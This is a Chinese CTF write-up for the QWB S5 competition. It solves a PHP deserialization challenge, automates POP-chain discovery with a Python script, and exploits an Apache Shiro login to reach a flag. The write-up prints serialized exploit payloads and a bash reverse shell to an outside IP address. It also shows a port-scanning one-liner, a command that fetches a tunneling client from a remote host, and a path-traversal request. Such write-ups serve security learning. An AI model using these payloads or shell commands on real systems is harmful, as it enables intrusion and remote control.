misc

签到

flag{welcome_to_qwb_s5}

问卷

flag{Welc0me_tO_qwbS5_Hope_you_play_h4ppily}

web

[强网先锋]赌徒

开局www.zip源码泄露

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

通过观察得到利用链 _sayhello -> tostring-> __get ->invoke

构造exp

<?php
class Start
{
    public $name='';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$c->a=$d;
$b -> file['filename'] = $c;
$a -> name = $b;

echo urlencode(serialize($a));


?>

payload

O%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Info%22%3A3%3A%7Bs%3A17%3A%22%00Info%00phonenumber%22%3Bi%3A123123%3Bs%3A7%3A%22promise%22%3Bs%3A4%3A%22I+do%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7Ds%3A4%3A%22flag%22%3Bs%3A33%3A%22syst3m%28%22cat+127.0.0.1%2Fetc%2Fhint%22%29%3B%22%3B%7D

base64一下拿到flag

pop_master

pop链构造,16w行代码手动分析基本不可能,观察到每个类都只有一个两个函数,构造找链脚本

import re
import threading
import time
import os
import requests
import sys
def find_func_by_eval(text,name):
    text = text.replace("$","")
    name = name.replace("$","")
    result = re.findall(r"function(.*?)\("+name,text)[-1]
    if(len(result)>10):
        return result.split("function")[-1]
    return result
def find_func_by_func(my_list,myfunc):
    for i in my_list:
        if(i.count(myfunc)>1): #二叉树分叉的情况
            may = i.split(myfunc)[0]
            return re.findall(r"function(.*?)\(",may)[-1]
        if(i.count(myfunc) == 1): #单纯传递的情况
            if(("function"+myfunc) in i):
                continue
            may = i.split(myfunc)[0]
            result = re.findall(r"function(.*?)\(",may)[-1]
            if(len(result)>10):
                return result.split('function')[-1]
            return result
    return "-1"
def find_para_by_class(class_name,a):
    return re.findall(r"class"+class_name+r"\{public\$(.*?);",a)[0]
def find_para(text):
    return re.findall(r"eval\((.*?)\)",text)
def find_class(my_list,functi,func):
    return my_list[int(functi.index(func)/2)]
def judge_true(text,front_func,last_func):
    may = re.findall(front_func+r"(.*?)"+last_func,i)
    if(len(may)>0):
        may=may[0].replace(r"if(method_exists","")
    if("if" in may):
        may1 = re.findall(r"if\((.*?)>",may)[0]
        may2 = re.findall(r">(.*?)\)",may)[0]
        if(int(may1)>int(may2)):
            para = re.findall(r"\((.*?)\)",may)[0]
            if(may.count(para) > 2):
                return True
            else:
                return False
            #may = re.findall(r"\{(.*?)\}",may)
            print(may)
        print(may1,may2)
    if("for($i" in may):
        return 0
    print(may)

try_num = 1
total_num = 0
def Async(f):
    def wrapper(*args, **kwargs):
        thr = threading.Thread(target=f, args=args, kwargs=kwargs)
        thr.start()
    return wrapper
@Async
def find(all_list,i,resu,functi,a):
    for j in find_para(i): # j是i的eval内部的参数,是一个列表 成员数为0 1 2
        #print(find_para(i))
        global try_num
        global total_num
        funct = find_func_by_eval(i,j)#funct是eval参数所在的父函数
        if(a.count(funct) == 1):
            try_num+=1
            continue
        pop = []
        pop.append(funct)
        while(True):
            front_func = find_func_by_func(all_list,funct)
            if(front_func == "-1"):
                try_num += 1
                break
            else:
                funct = front_func
                pop.append(funct)
            if(front_func == 'Ndlz9Y'):
                pop_chain=''
                express = "<?php include('class.php');\n"
                last_class_name="''"
                for k in pop:
                    class_name = find_class(resu,functi,k)
                    express += "$" +class_name +"=new "+class_name + "({});\n".format(last_class_name)
                    express+= "$" +class_name+"->"+find_para_by_class(class_name,a)+"="+last_class_name+";\n"
                    last_class_name= "$" + class_name
                express+=r"echo urlencode(serialize({}));".format( last_class_name)
                path  = "D:\\phpstudy_pro\\WWW\\"+ last_class_name[1:]+".php"
                f1 = open(path,'w')
                f1.write(express)
                f1.close()
                time.sleep(0.2)
                r1 = requests.get("http://127.0.0.1/"+last_class_name[1:]+".php",timeout=5)
                r2 = requests.get("http://127.0.0.1/3.php?pop="+r1.text+"&argv=phpinfo();//",timeout=5)

                if("phpinfo()" in r2.text):
                    print(express)
                    print("可用payload:?pop={}&argv=phpinfo();//".format(r1.text))
                    sys.exit(1)
                else:
                    print('pop链不可用{} 尝试 {} - {}'.format(len(r2.text),try_num,total_num))
                time.sleep(0.4)
                if(os.path.exists(path)):
                    os.remove(path)
                break

with open('D:\\phpstudy_pro\WWW\\class2.php') as f:
    a = f.read().replace(" ","").replace("\n","").replace('\t',"")
    all_list=[]
    total_num = a.count('eval')
    resu = re.findall(r"class(.*?){",a)
    functi = re.findall(r"function(.*?)\(",a)
    for i in range(len(resu)):
        front = resu[i]
        last = ""
        if(i+1>len(resu)-1):
            last = ""
        else:
            last ="class"+resu[i+1]
        all_list.append(re.findall("class"+front+r"(.*)}"+last,a)[0])
        print(i)
        #print(find_para(re.findall("class"+front+r"(.*)}"+last,a)[0]))
    for i in all_list: # i是每个类的内部的字符串
        #judge_true(i,"gq6rIw","kkttyy")
        find(all_list,i,resu,functi,a)
        while(threading.active_count() > 14):
            time.sleep(2)

脚本思路是反向查找,正向验证,即遍历所有eval 从eval的父函数回溯到父函数的父函数,一直迭代,如果碰到程序入口则生成payload打程序入口,如果打成功则直接打印出payload

<?php include('class.php');
$G1fBxA=new G1fBxA('');
$G1fBxA->EicXM59='';
$k3F8yO=new k3F8yO($G1fBxA);
$k3F8yO->iChLnGq=$G1fBxA;
$n4De5i=new n4De5i($k3F8yO);
$n4De5i->ZbfWVlU=$k3F8yO;
$HruYf8=new HruYf8($n4De5i);
$HruYf8->mAuS8wx=$n4De5i;
$A9u4v7=new A9u4v7($HruYf8);
$A9u4v7->kgBgdi4=$HruYf8;
$MNqtrW=new MNqtrW($A9u4v7);
$MNqtrW->GIWslTN=$A9u4v7;
$t7ZGKN=new t7ZGKN($MNqtrW);
$t7ZGKN->YPXpbVZ=$MNqtrW;
$KvC4YN=new KvC4YN($t7ZGKN);
$KvC4YN->H4smF0g=$t7ZGKN;
$PdNQZ0=new PdNQZ0($KvC4YN);
$PdNQZ0->iiQWXRe=$KvC4YN;
$bxmgEy=new bxmgEy($PdNQZ0);
$bxmgEy->WPk1A1k=$PdNQZ0;
$MEgghp=new MEgghp($bxmgEy);
$MEgghp->Yieaxwf=$bxmgEy;
$LBoM89=new LBoM89($MEgghp);
$LBoM89->L3Y1DTQ=$MEgghp;
$LAsLbo=new LAsLbo($LBoM89);
$LAsLbo->SVtSlSo=$LBoM89;
$vnGtyU=new vnGtyU($LAsLbo);
$vnGtyU->GZGMGzE=$LAsLbo;
$bRYHCO=new bRYHCO($vnGtyU);
$bRYHCO->ncUGyDu=$vnGtyU;
$ZuvVqa=new ZuvVqa($bRYHCO);
$ZuvVqa->w4agpI3=$bRYHCO;
$sGvIfG=new sGvIfG($ZuvVqa);
$sGvIfG->qiHFVch=$ZuvVqa;
$aFnxlq=new aFnxlq($sGvIfG);
$aFnxlq->p03iKLL=$sGvIfG;
$mQtEBX=new mQtEBX($aFnxlq);
$mQtEBX->gUVg29z=$aFnxlq;
$Wn5b4Q=new Wn5b4Q($mQtEBX);
$Wn5b4Q->Az07hvV=$mQtEBX;
$TO55tZ=new TO55tZ($Wn5b4Q);
$TO55tZ->RHLSCkT=$Wn5b4Q;
echo urlencode(serialize($TO55tZ));

payload

?pop=O%3A6%3A%22TO55tZ%22%3A1%3A%7Bs%3A7%3A%22RHLSCkT%22%3BO%3A6%3A%22Wn5b4Q%22%3A1%3A%7Bs%3A7%3A%22Az07hvV%22%3BO%3A6%3A%22TQ9GEx%22%3A1%3A%7Bs%3A7%3A%22g3M3vwG%22%3BO%3A6%3A%22iqWVrQ%22%3A1%3A%7Bs%3A7%3A%22szzwC0o%22%3BO%3A6%3A%22kTGyzH%22%3A1%3A%7Bs%3A7%3A%22g7gxcEZ%22%3BO%3A6%3A%22CyNTDc%22%3A1%3A%7Bs%3A7%3A%22LDeuBuS%22%3BO%3A6%3A%22F2Czfi%22%3A1%3A%7Bs%3A7%3A%22ZnuWLtq%22%3BO%3A6%3A%22vmqMgW%22%3A1%3A%7Bs%3A7%3A%22z2CduhH%22%3BO%3A6%3A%22Swuou4%22%3A1%3A%7Bs%3A7%3A%22vwgItOm%22%3BO%3A6%3A%22erQot4%22%3A1%3A%7Bs%3A7%3A%22ioyYCwF%22%3BO%3A6%3A%22bSW3sf%22%3A1%3A%7Bs%3A7%3A%22p797ekg%22%3BO%3A6%3A%22wAFUqp%22%3A1%3A%7Bs%3A7%3A%22i4f6wHP%22%3BO%3A6%3A%22y1pYAW%22%3A1%3A%7Bs%3A7%3A%22Yg878Tn%22%3BO%3A6%3A%22YizOQb%22%3A1%3A%7Bs%3A7%3A%22pZmptCT%22%3BO%3A6%3A%22FCfAgp%22%3A1%3A%7Bs%3A7%3A%22eYEIVT6%22%3BO%3A6%3A%22O1Vwfg%22%3A1%3A%7Bs%3A7%3A%22NSuGkg4%22%3BO%3A6%3A%22ZsO6Q4%22%3A1%3A%7Bs%3A7%3A%22RpKzwnw%22%3BO%3A6%3A%22l6erXG%22%3A1%3A%7Bs%3A7%3A%22ezxpSEm%22%3BO%3A6%3A%22lI12Xx%22%3A1%3A%7Bs%3A7%3A%22XItnZ3r%22%3BO%3A6%3A%22E4iXog%22%3A1%3A%7Bs%3A7%3A%22KP6CHSF%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D&argv=system("cat /flag");//

flag

flag{0879c116-894a-4f9e-bf8b-c3ee4bd31948}

Hard_Penetration

登录框登录抓包看到remeberme=deleteme 经典shiro

工具一把梭

https://github.com/wyzxxz/shiro_rce_tool

拿到shell,用户是ctf,flag用户是www-data,工具的shell不好用就打个反弹shell

bash=bash -i >& /dev/tcp/121.36.44.128/4999 0>&1

apache用户,尝试拿网站的shell,但是mysql没找到密码,尝试了很久也没结果,考虑还有其他http服务,发现本地php命令可用,应该是搭了php的网站在本地果断扫端口

echo "<?php $arr = range(1,65535);foreach ($arr as $port) {$fp = @fsockopen('127.0.0.1',$port,$errno,$errstr,0.1);if ($fp==0) {}else{echo $port." Opendn";}}">5.php

发现8005开放

用nps做个端口转发

https://github.com/ehang-io/nps

从外网传文件过去

php -r "file_put_contents('/tmp/linux_amd64_client.tar.gz',file_get_contents('http://cbase.top/linux_amd64_client.tar.gz'));"

解压运行

成功上线

/wap/common/show?templateFile=../../../../../../flag

flag

flag{7c369c57-c03b-41d7-a874-82f2e2cdfeae}

结尾

不得不说这次qwb打得是真的憋屈,自己辛苦敲的pop_master脚本,从有思路到最后出脚本,从找链到自动生成payload,从傍晚敲到凌晨四点才出的脚本,都是自己一手写出来的,结果最后脚本泄露被别的队伍也拿去交了,最后被判作弊….害太难了,也不是想说啥只是这时的心情是这样就记录一下而已,希望以后比赛能顺顺利利吧…

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...